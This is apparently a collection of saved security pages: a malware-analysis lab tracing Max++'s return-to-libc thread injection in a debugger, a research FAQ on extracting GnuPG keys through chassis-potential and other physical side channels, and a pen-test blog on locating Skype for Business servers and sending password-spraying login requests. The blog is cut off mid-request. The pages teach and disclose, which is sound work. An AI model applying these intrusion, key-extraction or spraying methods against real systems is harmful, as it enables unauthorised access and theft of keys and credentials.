LIBC\) Attack

**Learning Goals** :  

  1. Understand Return to LibC attacks
  2. Analyze Return to LibC data payloads
  3. Practice analyzing function call parameters and stack

**Applicable to:**  

  1. Operating Systems
  2. Assembly Language
  3. Operating System Security

 _**1\. Introduction**_  
This tutorial shows a very interesting attack called _**Return to LibC**_. The
general idea is to form a chain of system calls by setting up stack contents
properly so that the target process, when returning from one system call, will
continue onto the next system call set up by the attacker. A more general form
of the Return to LibC attack is the recently very active _**Return Oriented
Programming**_ \[1\], where _**any arbitrary**_ program can be implemented by
setting up the stack contents.  
  
Usually, Return to LibC attack is applied to buffer overflow attacks so that
it can overcome the protections taken by OS to set stack as non-executable
\(recall that it does not inject a shell code, but a bunch of function
parameters and return addresses\).  
  
In this tutorial, we show that the Max++ author takes a very clever
application of the Return to LibC attack. Instead of setting up the code
section of a thread, the author directly implements the desired program logic
as the stack contents, which saves a lot of trouble in injecting a new thread
into a running process \[see background information in Tutorial 14 and 15\].  
  
We will analyze the code from _**0x3C1390**_ in this tutorial.  
  
  
_**2\. Lab Configuration**_  
\(0\) Start WinXP image in _**DEBUGGED**_ mode. Now in your host system, start
a windows command window and CD to "_**c:\Program Files\Debugging Tools for
Windows \(x86\)**_ " \(where WinDBG is installed\). Type "_**windbg -b -k
com:pipe,port=\\\\.\pipe\com\_12**_ " \(check the com port number in your VBox
instance set up\). When WinDbg initiates, types "g" \(go\) twice to let it
continue.  
  
\(1\) Now launch IMM in the WinXP instance, clear all breakpoints and hardware
breakpoints in IMM \(see _**View- >Breakpoints**_ and _**View- >Hardware
Breakpoints**_\).  
  
\(2\) Go to _**0x4012DC**_ and set a hardware breakpoint there. \(why not
software bp? Because that region will be self-extracted and overwritten and
the software BP will be lost\). Pay special attention that once you go to
0x4012DC, directly right click on the line to set hardware BP \(currently it's
gibberish code\).  
  
\(3\) Press _**F9**_ several times run to _**0x4012DC**_. You will encounter
several breakpoints before 0x4012DC. If you pay attention, they are actually
caused by the int 2d tricks \(explained in Tutorial 3 and 4, and 5\). Simply
ignore them and continue \(using F9\) until you hit _**0x4012DC**_.  
  
Figure 1 shows the code that you should be able to see. As you can see, this
is right before the call of RtlAddVectoredException, where hardware BP is set
to break the LdrLoadDll call \(see Tutorial 11 for details\). __**At this
point, the code at 0x3C24FB has not been extracted. If you go to 0x3C24FB at
this moment, IMM will complain that this address is not accessible.**__  
<img src='img/Temp2_2397.jpg' />  
---  
Figure 1: code at 0x4012DC  
\(4\) Now scroll down about 2 pages and set a _**SOFTWARE BREAKPOINT**_ at
_**0x401417**_. This is right after the call of LdrLoadDll\("lz32.dll"\),
where Max++ finishes the loading of lz32.dll. Then hit _**SHIFT+F9**_ several
times until you reach _**0x401417**_ \(you will hit 0x7C90D500 twice, this is
somwhere inside ntdll.zwMapViewSection which is being called by LdrLoadDll\).  
  
  
﻿  
<img src='img/Temp2_2399.jpg' />  
---  
Figure 2: code at 0x401407  
﻿  
\(6\) Now we will set a breakpoint at _**0x3C1390**_. Goto _**0x3C1390**_ set
a _**SOFTWARE****BREAKPOINT****. SHIFT+F9**_ there. Press to run to
_**0x3C1390**_. \(You may see a warning that this is out range of the code
segment, simply ignore the warning\).  
  
\(Figure 3 shows the code that you should be able to see at _**0x3C1390**_.
The first instruction should be _**PUSH SS:\[EBP-8\]**_ , and he next is a
function call: _**CALL DWORD PTR DS: \[3D1128\]**_ \(see Figure 3\). This is a
function call to _**RtlCreateUserThread**_. __**We will start our analysis
here\!**__  
<img src='img/Temp2_2401.jpg' />  
---  
Figure 3. Code Starting from 0x003C1390  
  
_**Section 3. Creating Target Thread**_  
The first function we are analyzing is located at 0x003C1393 \(see Figure 3\).
_**RtlCreateUserThread**_ is an undocumented function by MS Windows. But a
simple google search can turn out its function declaration as shown following
\(taken from \[2\]\):  
  

RtlCreateUserThread\(  
IN HANDLE _**ProcessHandle**_ ,

IN PSECURITY\_DESCRIPTOR SecurityDescriptor OPTIONAL,  
IN BOOLEAN CreateSuspended,  
IN ULONG StackZeroBits,  
IN OUT PULONG StackReserved,  
IN OUT PULONG StackCommit,  
IN PVOID _**StartAddress**_ ,  
IN PVOID StartParameter OPTIONAL,  
OUT PHANDLE ThreadHandle,  
OUT PCLIENT\_ID ClientID

\);  
  

[/code]

[code]

There are many parameters, and the following are interesting to us:

\(1\) _**ProcessHandle**_ \- the handle of the process to create a user thread
in.

\(2\) _**StartAddress**_ \- when the thread is created, where to begin its
execution

Figure 4 shows the stack contents when we get to the CALL instruction at
_**0x3C1390**_.

<img src='img/Temp2_2395.jpg' />  
---  
Figure 4: Stack Contents for Call RtlCreateUserThread  
  
  
You can immediately infer that the ProcessHandle is 0x44. If you follow
Tutorial 15, you will notice that it's the handle of the target process
\(e.g., smss.exe in our VM instance\). The startAddress is _**0x7C96149B**_
\(note\! IMM has already found it for you\! It's the entry address of
_**RtlExitUserThread**_\!\!\!\) The situation has got a little bit funny here
because the author tries to inject a thread which terminates itself
immediately\! But he/she has additional tricks. Now let's proceed to the next
function call.  
  
_**Section 4. Get Context Thread**_  
The next system call we are analyzing is located at 0x3C13B5.It's a call to
_**zwGetContext**_ \(as shown in Figure 5\). A simple search of zwGetContext
or ntGetContext yields the function prototype of zwGetContext. It takes two
parameters \(1\) HANDLE threadHandle, and \(2\) PCONTEXT _**pContext**_.
Clearly, the first is the handle of the thread to be examined, and the second
\(i.e., _**pContext**_\) is a pointer which holds the entry address of the
CONTEXT structure. If you look at Figure 5, you might notice that the pContext
value is _**0x0012D288**_.  
  
<img src='img/Temp2_2394.jpg' />  
---  
Figure 5. call of zwGetContext  
Now we are interested in looking at the contents of the CONTEXT structure at
_**0x0012D288**_. Of course, you can use IMM to examine it in the memory dump
directly. There is a better way. Using WinDbg can show kernel data structures
nicely. For this purpose, let's start the _**WinDbg in the VBox Windows
image****File- > Attack Process -> Max++**_ \(note: not the external one in
the host\) and then click and select to run _**Noninvasively**_. \(as shown in
Figure 6\).  
  
<img src='img/Temp2_2398.jpg' />  
---  
Figure 6. Run WinDebug in Noninvasive Mode  
  
  
Now type "_**dt \_CONTEXT -r2 0x0012D288**_ " we have the complete dump of the
\_CONTEXT structure. Note that the \_CONTEXT is used by OS to keep track of
the running context \(mainly the value of the registers\) of a thread when
doing context switch. As shown in _**Figure 7**_ , the initial context of the
new thread in smss.exe has several interesting registers:  
\(1\) First, we could see all hardware BPs are cleared.  
\(2\) All segment registers GS/FS/ES/DS are not set yet.  
\(3\) EIP is set to 0x7c96149b. \(If you find it out in
IMM->View->Modules->ntdll->Names. You will find that this is the entry address
of _**RtlExitUserThread**_ , matching the description before\).  
\(4\) The ESP is set to 0x3fff8 \(note: this is within the address space of
smss.exe, not Max++.exe\).  
  
<img src='img/Temp2_2402.jpg' />  
---  
Figure 7. Initial Dump of the \_CONTEXT at 0x0012D288  
  
  
_**Section 5. Set up smssexe Stack**_  
Next, Max++ will set up the stack for the new thread properly. Let's look at
Figure 8. From 0x003C13C3 to 0x003C1455, Max++ prepares the contents first in
its own stack \(you could see here there are lots of operations to the EBP
based addresses\). Then at _**0x3C145F**_ , it calls the most important
function _**zwWriteVirtualMemory**_\!  
﻿  
<img src='img/Temp2_2396.jpg' />  
---  
Figure 8. Set up Target Stack of smss.exe's new Thread  
﻿  
Google the documentation of _**zwWriteVirtualMemory**_ or
_**ntWriteVirtualMemory**_ , we could find that it takes four parameters:
\(1\) target process handle \[we could verify that this is the handle of the
smss.exe\], \(2\) target address \[in our case, it's _**0x3FF000**_\!\], \(3\)
source address \(in Max++ addr space\): _**0x0012D580**_ , \(4\) number of
bytes to write 0x _**4c**_\!  
  
<img src='img/Temp2_2400.jpg' />  
---  
Figure 9. Contents to Inject  
Now let's take a look at the 0x4c bytes to write into the target process
smss.exe. It's listed in Figure 9. Notice that the data is starting from
_**0x0012D580**_ and ends at _**0x0012D5CC**_ i.e., the first word is the
_**0x7C90CFD0**_\(i.e., the first word in the first row of _**Hex Dump**_ in
figure 9, note the byte sequence\) in the first row and then the last word is
the _**0xFFFFFFFF**_\(the first word in the last row\). Notice that when
copied to the target address space of smss.exe, starting from 0x3FF000 we
should have 0x7C90CFD0 and at _**0x3FF048**_ we should have _**FFFFFFFF**_.  
  
_**Section 6. Set Context of smss.exe thread**_  
As shown in Figure 8, the last trick to play is to call the
_**zwSetContextThread**_ call. Using the same trick we used in section 4, we
can easily infer the meaning of all parameters of _**zwSetContextThread**_. It
changes the value of the _**ESP register to 0x3FF000, EBP is set to 0x0, EIP
register is reset to 0x7C90DF30 \(using IMM- >View->Modules->Names\) we can
find that it's zwWaitForSingleObject\!**_  
  
_**Section 7. Analysis of Return To LibC Attack**_  
Now we are getting to the interesting point. The first instruction to be
executed by the new thread is the entry of
_**zwWaitForSingleObject**_\(handle, alertable, timeout\) . But were are the
parameters? If you read about the calling conventions of these ntdll functions
you will find that when executing to the first \(entry\) instruction of a
NTDLL function, we have  
ESP --> the return address  
ESP+4: 1st parameter  
ESP+8: 2nd parameter  
ESP+c: 3rd paramter  
  
Thus we immediately get: the return address is \(see Figure 9\)
_**0x7C90CFDO**_\(_**zwClose**_\). The parameters for zwWaitForSingleObject
is:  
handle: 0x5c \(what's the handle for? It's a challenge for you\)  
alertable: 0  
timeOut: 0.  
  
When zwWaitForSingleObject finishes, it will jump to zwClose. The parameter
for zwClose is 0x54 \(still the same handle\). When zwClose returns, the next
function entry is _**0x0x7C90D1F0**_\(_**zwDelayException**_\)\!  
  
_**Challenge of the Day:**_ Finish the above analysis of ReturnToLibC attack
employed by Max++ and analyze what it is trying to do?  
  
  
  
_**References**_  
1\. E. Buchanan, R. Roemer, and S. Savage, "Return-Oriented Programming:
Exploits Without Code Injection", Blackhat USA 2008.  
2\. "Undocumented Functions of NTDLL", Available at
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html.

# Screen+Shot+2011-12-14+at+3.20.51+PM.png \(PNG Image, 865x275 pixels\)

**Created:**| _12/18/2011 4:43:15 PM_  
---|---  
**Updated:**| _12/18/2011 4:43:15 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_7264.png'
alt='http://2.bp.blogspot.com/-yUFFwdM6oO0/Tuiw4OjNixI/AAAAAAAAK3E/tSw-A5H-O9o/s1600/Screen+Shot+2011-12-14+at+3.20.51+PM.png'
/>

# Get Your Hands Off My Laptop

**Created:**| _8/9/2014 5:07:07 PM_  
---|---  
**Updated:**| _8/9/2014 5:07:07 PM_  
**Author:**| __  
**Tags:**| _attacks hardware crypto side-channel_  
  

# Get Your Hands Off My Laptop: Physical Side-Channel Key-Extraction Attacks
On PCs

Daniel Genkin|  Itamar Pipman|  Eran Tromer  
---|---|---  
Technion Tel Aviv University| Tel Aviv University| Tel Aviv University  
assisted by numerous others  
## Paper

This work will be presented in CHES 2014 and published in its proceedings. An
extended version \(PDF, 5.3MB\) is available.

## Overview

We demonstrated physical side-channel attacks on a popular software
implementation of RSA and ElGamal, running on laptop computers. Our attacks
use novel side channels and are based on the observation that the "ground"
electric potential in many computers fluctuates in a computation-dependent
way. An attacker can measure this signal by touching exposed metal on the
computer's chassis with a plain wire, or even with a bare hand. The signal can
also be measured at the remote end of Ethernet, VGA or USB cables.

Through suitable cryptanalysis and signal processing, we have extracted
4096-bit RSA keys and 3072-bit ElGamal keys from laptops, via each of these
channels, as well as via power analysis and electromagnetic probing. Despite
the GHz-scale clock rate of the laptops and numerous noise sources, the full
attacks require a few seconds of measurements using Medium Frequency signals
\(around 2 MHz\), or one hour using Low Frequency signals \(up to 40 kHz\).

We have extracted keys from laptops of various models, running GnuPG \(popular
open source encryption software, implementing the OpenPGP standard\). The
attacks exploit several side channels, enumerated below:

  * **_Chassis potential._** The electric potential on the chassis of laptop computers fluctuates in reference to the mains earth ground. This potential can be measured by a simple wire, non-invasively touching a conductive part of the laptop \(such as the metal heatsink fins or shielding of USB, Ethernet, VGA, DisplayPort and HDMI ports\), and connected to a suitable amplifier and digitizer. The chassis potential, thus measured, is affected by ongoing computation, and our attacks exploit this to extract RSA and ElGamal keys, within a few seconds.
<img src='img/Temp2_3469.png' alt='chassis measurement' />

_Scenarios._ The wire can be fixed in advance in a location where the target
laptop will be placed \(e.g., a cluttered desk\), or put in contact with the
laptop by a passerby.

  * **_Far end of cable._** When a cable is plugged into one of the laptop's IO ports \(such as USB, Ethernet, VGA, DisplayPort and HDMI\), the port's shield typically contacts a plug shield, which in turn is connected to a conductive cable shield running the length of the cable. Thus, one can measure the chassis potential from the _far_ side of cables connected to the aforementioned ports. Ethernet cables, for example, often span long distances, across and between building floors. An attacker who gains access to the far side of the cable, or taps the shield along the way, can measure the approximate chassis potential. 
<img src='img/Temp2_3466.png' alt='far-end-of-cable-attack' />

_Scenarios._ A simple voltage measurement device, perhaps located in the
cabinet or server room to which the cable leads, could capture the leakage.
This is hard to check, since Ethernet wiring and projectors' VGA cables are
often hidden out of sight and cannot easily be tracked by the user.

  * **_Human touch._** The attacker can measure the chassis potential by merely touching a conductive part of the laptop chassis with his hand, while surreptitiously measuring his own body potential relative to the ground potential of the room. \(This attack is especially effective in hot weather, since sweaty fingers offer lower electric resistance.\) If good contact cannot be made using exposed metal parts of the chassis, a metallic pen can be used to make good contact with the laptop's heatsink fins. 
<img src='img/Temp2_3465.png' alt='magic touch attack' />

_Scenarios._ The attacker positions himself in physical proximity to the
target laptop and touches it with his bare hand or a conducting pen.
Surreptitiously, the attacker carries the requisite equipment for measuring
his body potential relative to some nearby grounded object. In the non-
adaptive attack, a few seconds' contact will suffice; in the adaptive attack,
1 key bit can be extracted approximately every 4 seconds.

We also revisit two traditional physical side channels and demonstrate their
applicability to software running on PCs:

  * _**Electromagnetic \(EM\).**_ We performed key extraction by measuring the induced EM emanations, using an antenna \(near-field probe\) placed near the laptop.  
  
_Scenarios_. Electromagnetic probes are easily hidden in nearby objects. A
glove, containing a concealed probe loop and hovering over the target laptop,
would unveil its key within seconds.

  * **_Power._** Likewise, we extracted keys by measuring the electric current draw on the laptop's power supply. Our attack works even though PCs use complex switching power supplies, which partially decouple the power source from the CPU load, and moreover employ large capacitors, chokes, and shields for electromagnetic compatibility \(EMC\) compliance — all of which attenuate and disrupt the signals sought in traditional power analysis.  
  
_Scenarios._ A public charging station can be easily augmented with a current
meter, logger, and transmitter. Even a regular power supply "brick" can be
similarly augmented, and such laptop power supplies are often shared, offered
to guests, or left unattended.

In a recent paper, we also demonstrated attacks using acoustic emanations,
i.e., using microphones to record the sound made by computers' electronics and
deducing the secret keys.  
  

* * *
###  Q1: What information is leaked?

This depends on the specific computer hardware. We have tested numerous laptop
computers, and found the following:

  * In almost all machines, it is possible to distinguish an idle CPU \(x86 "HLT"\) from a busy CPU.
  * On many machines, it is moreover possible to distinguish different patterns of CPU operations and different programs. 
  * Using GnuPG as our study case, we can, on some machines: 
    * distinguish between the spectral signatures of different RSA secret keys \(signing or decryption\), and
    * fully extract decryption keys, by measuring the laptop's chassis potential during decryption of a chosen ciphertext.

A good way to visualize the signal is as a spectrogram, which plots the
measured power as a function of time and frequency. For example, in the
following spectrogram, time runs vertically \(spanning 10 seconds\) and
frequency runs horizontally \(spanning 0-2.3 MHz\). During this time, the CPU
performed loops of different operations \(multiplications, additions, memory
accesses, etc.\). One can easily discern when the CPU is conducting each
operation, due to the different spectral signatures.

<img src='img/Temp2_3468.png' alt='various CPU operations' />

###  Q2: Why does this happen?

The electric potential on a laptop computer's chassis \(metal panels, shields
and ports\) is ideally equal to that of the mains earth ground potential, but
in reality it fluctuates greatly. Even when the laptop is grounded \(via its
power supply or via shielded cables such as Ethernet, USB or VGA\), there is
non-negligible impedance between the grounding point\(s\) and other points in
the chassis. Due to currents and electromagnetic fields inside the computer,
voltages of large magnitude develop across this impedance\(often 10mV RMS or
more, after filtering out the 50 or 60 Hz mains frequency\). This is the
voltage we measure.

###  Q3: Does the attack require special equipment?

While the attack is most effective using professional lab equipment, a regular
mobile phone is sometimes good enough. For example, we have used a mobile
phone to measure the key-dependent chassis potential from the far side of a
10m Ethernet cable, as shown here:

<img src='img/Temp2_3464.png' alt='mobile phone attack' />

The above picture shows a mobile phone \(Samsung Galaxy S II\) being used to
measure the chassis potential of the laptop from the far side of a 10 meter
long Ethernet cable \(blue\). An alligator clip connected to a plain wire
\(green\) taps the shield of the Ethernet cable where it connects to an
Ethernet switch. The signal passes, through a simple passive filter, into the
microphone/earphone jack of the phone, where it is amplified and digitized.
The phone itself is grounded to mains earth via its USB port. It is possible
to perform the adaptive attack using this setup.

###  Q4: What if I can't physically touch the computer or any of its cables
and peripherals?

There are still two attacks that require only proximity, not direct contact:

  * _Electromagnetic emanations_ , measured via an antenna, convey essentially the same leakage and \(as we show in the above paper\) can be used for key extraction.
  * _Acoustic emanations \(sound\)_ , measured via a microphone, can also be used to extract keys, as we showed in a previous paper.

###  Q5: What's new since your paper on acoustic cryptanalysis?

  * _New attack channels._ The new channels discussed here are physically different than the acoustic channel, and result in different attack scenarios.
  * _New cryptographic technique_. In addition to the bit-by-bit adaptive attack presented in the previous paper, which requires thousands of decryption operations for key extraction, we employ a new non-adaptive attack that recovers the complete key using the leakage obtained by just a few decryption operations. This reduces the attack time from an _hour_ to a few _seconds_.

### Q6: Can an attacker use power analysis instead?

Yes, power analysis \(measuring the current drawn from the laptop's DC power
supply\) is another way to perform our low-bandwidth attack.

Traditional power analysis would measure power consumption at a frequency
comparable to the CPU's clockrate \(a few GHz\), and is foiled by dampening
emanations at these frequencies. Our attack extracts the key using much lower
bandwidth \(a few kHz to a few MHz, depending on settings and duration\). Our
attack is also more resilient to filtering and noise.

### Q7: How can low-frequency \(kHz\) leakage provide useful information about
a much faster \(GHz\) computation?

This is the key idea behind our technique. Individual CPU operations are too
fast for our measurement equipment to pick up, but long operations \(e.g.,
modular exponentiation in RSA\) can create a characteristic \(and detectable\)
spectral signature over many milliseconds. Using a chosen-ciphertext, we are
able to use the algorithm's _own_ code to amplify its own key-leakage,
creating very drastic changes, detectable even by low-bandwidth means.

### Q8: How vulnerable is GnuPG now?

We have disclosed our attack to GnuPG developers under CVE-2013-4576,
suggested suitable countermeasures, and worked with the developers to test
them. New versions of GnuPG 1.x and of libgcrypt \(which underlies GnuPG
2.x\), containing these countermeasures and resistant to the key-extraction
attack described here, were released concurrently with the first public
posting of these results.  
  
GnuPG version 1.4.16 onwards, and libgcrypt 1.6.0 onwards, resist the key-
extraction attack described here. Some of the effects we discovered
\(including RSA key distinguishability\) remain present.

###  Q9: How vulnerable are other algorithms and cryptographic
implementations?

This is an open research question. Our attack requires careful cryptographic
analysis of the implementation, which so far has been conducted only for the
GnuPG 1.x implementation of RSA. Implementations using ciphertext blinding \(a
common side channel countermeasure\) appear less vulnerable.

### Q10: Is there a realistic way to perform a chosen-ciphertext attack on
GnuPG?

We found a way to cause GnuPG to automatically decrypt ciphertexts chosen by
the attacker. The idea is to use encrypted e-mail messages following the
OpenPGP and PGP/MIME protocols. For example, Enigmail \(a popular plugin to
the Thunderbird e-mail client\) automatically decrypts incoming e-mail \(for
notification purposes\) using GnuPG. An attacker can e-mail suitably-crafted
messages to the victims, wait until they reach the target computer, and
observe the target's chassis potential during their decryption \(as shown
above\), thereby closing the attack loop.

###  Q11: What countermeasures are available?

Physical mitigation techniques include Faraday cages \(against EM attacks\),
insulating enclosures \(against chassis and touch attacks\), and photoelectric
decoupling or fiberoptic connections \(against "far end of cable" attacks\).
However, inexpensive protection of consumer-grade PCs appears difficult,
especially for the chassis channel.  
  
Alternatively, the cryptographic software can be changed, and algorithmic
techniques employed to render the emanations less useful to the attacker.
These techniques ensure that the rough-scale behavior of the algorithm is
independent of the inputs it receives; they usually carry some performance
penalty, but are often used in any case to thwart other side-channel attacks.
This is what we helped implement in GnuPG \(see Q8\).

###  Q12: Why software countermeasures? Isn't it the hardware's responsibility
to avoid physical leakage?

It is tempting to enforce proper layering, and decree that preventing physical
leakage is the responsibility of the physical hardware. Unfortunately, such
low-level leakage prevention is often impractical due to the very bad cost vs.
security tradeoff: \(1\) any leakage remnants can often be amplified by
suitable manipulation at the higher levels, as we indeed do in our chosen-
ciphertext attack; \(2\) low-level mechanisms try to protect all computation,
even though most of it is insensitive or does not induce easily-exploitable
leakage; and \(3\) leakage is often an inevitable side effect of essential
performance-enhancing mechanisms \(e.g., consider cache attacks\).  
  
Application-layer, algorithm-specific mitigation, in contrast, prevents the
\(inevitably\) leaked signal from bearing any useful information. It is often
cheap and effective, and most cryptographic software \(including GnuPG and
libgcrypt\) already includes various sorts of mitigation, both through
explicit code and through choice of algorithms. In fact, the side-channel
resistance of software implementations is nowadays a major concern in the
choice of cryptographic primitives, and was an explicit evaluation criterion
in NIST's AES and SHA-3 competitions.

### Q13: What does the RSA leakage look like?

Here is an example of a spectrogram \(which plots the measured power as a
function of time and frequency\) for a recording of GnuPG decrypting several
RSA ciphertexts:

<img src='img/Temp2_3467.png' alt='spectrogram of multiple GnuPG RSA
decryptions' />

In this spectrogram, the horizontal axis \(frequency\) spans ranges from 1.9
MHz to 2.6 MHz, and the vertical axis \(time\) spans 1.7 seconds. Each yellow
arrow points to the middle of a GnuPG RSA decryption. It is easy to see where
each decryption starts and ends. Notice the change in the middle of each
decryption operation, spanning several frequency bands. This is because,
internally, each GnuPG RSA decryption first exponentiates modulo the secret
prime _p_ and then modulo the secret prime _q_ , and we can actually see the
difference between these stages. Moreover, each of these pairs looks different
because each decryption uses a different key. So in this example, by simply
observing the chassis potential during decryption operations, we can
distinguish between different secret keys,

### Q14: How do you extract the secret key bits?

This depends on the attack type. In the paper we present two types of attacks.

  * _Non-Adaptive attack._ Here, we are able to extract all the bits from the leakage obtained by measuring the chassis potential during just a few decyption operations using a single ciphertext. The attacker generates a suitable ciphertext and triggers decryptions of it while analyzing the chassis potential of the target. The picture below is a typical result of such a recording \(after signal processing\). 
<img src='img/Temp2_3471.png' alt='leakge of all the key bits' />

While this already allows the extraction of some key-bits, notice the
interrupt \(marked by a green arrow\), which "hides" some of the key bits. A
few additional recordings are needed in order to recover all the bits.

  * _Adaptive attack._ This technique \(similar to the one used in acoustic cryptanalysis\) finds the secret key bits one by one, sequentially. For each bit, the attacker crafts a ciphertext of a special form, in which the leakage depends specifically on the value of that bit. The attacker then triggers a decryption of that chosen ciphertext, records the chassis potential, and analyzes it. The following demonstrates a typical stage of this attack, focusing on a single secret key bit. If this bit is 0, then decryption of the chosen ciphertext will look like the left-side spectrogram \(with a strong component at 26.5 kHz\). If the secret bit is 1, the decryption will look like the right-side spectrogram \(where the strong component is at 31.5 kHz\).
<img src='img/Temp2_3470.png' alt='spectrogram of leakage that depends on the
value of the key bit' />

Using automated signal classification, the attack distinguishes these cases
and deduces the secret key bit.

* * *
## Acknowledgements

We are indebted to Adi Shamir for insightful discussions and suggestions, and
to Lev Pachmanov for writing much of the software setup used in our
experiments. Avi Shtibel, Ezra Shaked and Oded Smikt assisted in constructing
and configuring the experimental setup. Assa Naveh assisted in various
experiments, and offered valuable suggestions. Sharon Kessler provided copious
editorial advice. We thank Werner Koch, lead developer of GnuPG, for the
prompt response to our disclosure and the productive collaboration in adding
suitable countermeasures. Erik Olson's Baudline signal analysis software was
used for some of the analysis. We thank numerous volunteers for access to
test-target machines.  
  
This work was sponsored by the Check Point Institute for Information Security;
by the European Union's Tenth Framework Programme \(FP10/2010-2016\) under
grant agreement 259426 ERC-CaC; by the Leona M. & Harry B. Helmsley Charitable
Trust; by the Israeli Ministry of Science and Technology; by the Israeli
Centers of Research Excellence I-CORE Program \(center 4/11\); and by NATO's
Public Diplomacy Division in the Framework of "Science for Peace".

* * *

# Penetration Testing Skype for Business: Exploiting the Missing Lync – MDSec

**Created:**| _5/10/2019 8:28:16 AM_  
---|---  
**Updated:**| _5/10/2019 8:28:16 AM_  
**Author:**| __  
**Tags:**| _windows skype_  
  

  

# Penetration Testing Skype for Business: Exploiting the Missing Lync

11/04/2017 | Author: Admin
<img src='img/s4b.png' width='751' height='388' />

Around a year ago, Black Hills documented multiple ways to obtain domain
credentials from the outside using password spraying against Outlook Web
Access. They then went on to release MailSniper, an excellent tool used to
automate these attacks. The idea was then taken a step further by amongst
others, our friends at MWR and SensePost who showed how malicious Outlook
rules could be abused to gain an internal foothold \*hat tip\*.

T<img src='img/ActiveBreach_logo_HIRES-300x210.jpg' width='300' height='210'
/>he MDSec ActiveBreach team have had a lot of success with these ideas and
tools during our red team engagements, and wanted to contribute additional
techniques back to the community that that have assisted us in obtaining
domain credentials where Exchange is not exposed or attacks are unsuccessful.

Skype for Business \(S4B\) or Microsoft Communicator / Lync as it was formerly
known, is a widely-deployed enterprise instant-messaging platform. S4B
deployments typically come in one of two flavours; an on-premise Skype for
Business Server, or Skype for Business online which is available with Office
365 using either an Azure hosted AD or a tenant’s own identity provider. In
this blog post, we will document techniques for abusing Skype for Business to
identify domain credentials and discuss the implications of a compromised S4B
account. We will also release a PowerShell tool that we’ve named LyncSniper,
in homage to Black Hills’ MailSniper.

Determining if your target is using S4B is relatively trivial and most
organisations will advertise their deployment using the following DNS entries:

[code]

    lyncdiscover.example.org
    
    lyncdiscoverinternal.example.org
[/code]

The S4B client uses these DNS entries to autodiscover the location of the S4B
server. A GET request to the autodiscover server over HTTPS will return a
response similar to the following:

`<resource rel=”root”
href=”https://lync.example.org/Autodiscover/AutodiscoverService.svc/root?originalDomain=example.org”><link
rel=”user” href=”https:// lync.example.org
/Autodiscover/AutodiscoverService.svc/root/oauth/user?originalDomain=example.org”/><link
rel=”xframe” href=”https://
lync.example.org/Autodiscover/XFrame/XFrame.html”/></resource>`

This resource points the user to the location of where they should
authenticate and is essential knowledge for conducting passwords guessing
attacks.

The response headers will also often contain the internal hostname of the S4B
server, which may be of use for other attacks such as spraying a hosted IDP
where the internal domain is required:

[code]

    X-MS-Server-Fqdn: SERV1.internal.example.org
[/code]

If the DNS entries do not exist, you might also find a S4B server by scanning
the target’s perimeter on HTTPS; _nmap_ will reliably find these with a result
similar to the following:  
`PORT  STATE SERVICE REASON VERSION  
443/tcp open ssl/sip syn-ack ttl 114 Microsoft Lync SIP 2013`

A cursory analysis using only “ _lyncdiscover.domain.tld_ ” reveals that over
26% of the Alexa top 1 million domains is using S4B in some form and around
3.7% are using Office365. As such, the potential attack surface is quite
significant.

Before we can conduct a password spraying attack against S4B, we need to be
able to authenticate to it. S4B supports a number of methods for
authentication, including NTLM, Kerberos and OAuth.

Authentication using NTLM and Kerberos is achieved using the
_WebTicketService_ process. In short, this requires retrieving the
_WebTicketService_ URL from the _X-MS-WebTicketURL_ header and using NTLM or
Kerberos to make a SAML claim. If authentication is successful, a security
token is returned that can be used with the _X-MS-WebTicket_ header to
impersonate a user within S4B.

However, a much simpler method of authentication can be achieved using OAuth
and is the preferred technique used in the ActiveBreach LyncSniper tool. OAuth
should always be enabled and Microsoft state that it “cannot be disabled or
removed”.

Requesting this URL will return a _WWW-Authenticate_ header containing the
supported authentication methods in the _grant\_type_ parameter. The following
example supports Windows and Password authentication:

`WWW-Authenticate: Bearer trusted_issuers="",
client_id="00000004-0000-0ff1-ce00-000000000000",MsRtcOAuth
href="https://lync.example.org/WebTicket/oauthtoken",grant_type="urn:microsoft.rtc:windows,urn:microsoft.rtc:anonmeeting,password"`

Authentication at this point is relatively simple and can be achieved by
sending a POST request to the URL contained in the _WWW-Authenticate_ header
with the following parameters:

`grant_type="password";username=user@example.org;password=Password1`

If authentication is successful, the service will return a JSON response with
a valid _access\_token_ that can be used to impersonate the user.

Authentication to S4B in Office365 deployments works a little differently and
our research implied that the _grant\_type_ of password is not supported.
However, what we found was that for Azure AD hosted environments
authentication is performed using Windows Live Authentication. We can
determine if a S4B deployment is using Office365 as the autodiscover service
will respond with a host of _https://webdir\*.online.lync.com_. In this case
authentication is relatively straight forward as it is performed to a static
endpoint \(https://login.microsoftonline.com/rst2.srf\) using WS-Trust and
RST. The following SOAP message demonstrates an example of this:

`<?xml version="1.0" encoding="UTF-8"?>  
<S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-
wssecurity-secext-1.0.xsd"
xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-
utility-1.0.xsd" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust">  
<S:Header>  
<wsa:Action
S:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>  
<wsa:To
S:mustUnderstand="1">https://login.microsoftonline.com/rst2.srf</wsa:To>  
<ps:AuthInfo xmlns:ps="http://schemas.microsoft.com/LiveID/SoapServices/v1"
Id="PPAuthInfo">  
<ps:BinaryVersion>5</ps:BinaryVersion>  
<ps:HostingApp>Managed IDCRL</ps:HostingApp>  
</ps:AuthInfo>  
<wsse:Security>  
<wsse:UsernameToken wsu:Id="user">  
<wsse:Username>user@example.org</wsse:Username>  
<wsse:Password>Password1</wsse:Password>  
</wsse:UsernameToken>  
<wsu:Timestamp Id="Timestamp">  
<wsu:Created>2017-03-10T21:46:53.7355085Z</wsu:Created>  
<wsu:Expires>2017-03-10T21:46:53.7355085Z </wsu:Expires>  
</wsu:Timestamp>  
</wsse:Security>  
</S:Header>  
<S:Body>  
<wst:RequestSecurityToken
xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust" Id="RST0">  
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>  
<wsp:AppliesTo>  
<wsa:EndpointReference>  
<wsa:Address>online.lync.com</wsa:Address>  
</wsa:EndpointReference>  
